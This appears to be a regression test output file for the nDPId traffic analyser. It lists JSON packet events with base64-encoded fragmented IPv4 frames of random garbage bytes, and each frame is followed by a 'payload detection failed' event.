+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42227,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42477,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 